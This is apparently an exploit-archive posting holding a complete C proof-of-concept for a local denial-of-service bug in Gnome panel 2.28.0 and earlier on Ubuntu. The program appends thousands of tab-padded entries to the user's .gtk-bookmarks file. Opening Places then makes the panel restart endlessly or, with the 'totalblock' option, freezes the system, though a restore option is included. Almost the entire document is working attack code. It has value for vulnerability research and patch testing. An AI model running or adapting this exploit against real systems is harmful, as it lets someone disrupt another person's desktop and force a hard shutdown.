|
# Tested on: ubuntu 9.10 # CVE : # Code :
/********************************************************************************* * Gnome panel <= 2.28.0 denial of service poc 0-day * * by Pietro Oliva <pietroliva@gmail.com> * * * * After executing this poc a backup file will be created * * You can restore it by typing ./paneldos restore * * Using option restart gnome-panel will restart continuously * * Using option totalblock you will need to remove the battery * * After execution click application in the panel, then go to places * * and wait some seconds... * * https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868 * **********************************************************************************/
#include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE *f; unsigned long i; printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n"); if(!(f=fopen(".gtk-bookmarks","r"))) { printf("%s","file not found! make sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); if((argv[1]==NULL)) { printf("%s","please specify an argument!\n"); printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(((strcmp(argv[1],"restart"))==0)) i=9999; else if((strcmp(argv[1],"totalblock"))==0) i=99999; else if((strcmp(argv[1],"restore"))==0) { if(!(f=fopen(".backup","r"))) { printf("%s","no backup found!\nmake sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); system("cp .backup .gtk-bookmarks"); printf("%s","succesfully restored!\n"); return 0; } else { printf("%s","usage: ./paneldos <option>\npossible options are:\trestart\t\ttotalblock\trestore\n"); return 1; } if(!(f=fopen(".backup","r"))) { printf("%s","creating backup...\n"); system("cp .gtk-bookmarks .backup"); } else fclose(f); f=fopen(".gtk-bookmarks","a"); printf("%s","starting...\n"); fwrite("file:///home ",1,13,f); while(i>0) { fwrite("\ta",1,2,f); i--; } fclose(f); printf("%s","done! now click applications in panel,\nslide to places, wait and see the result! :D\n"); return 0; }
|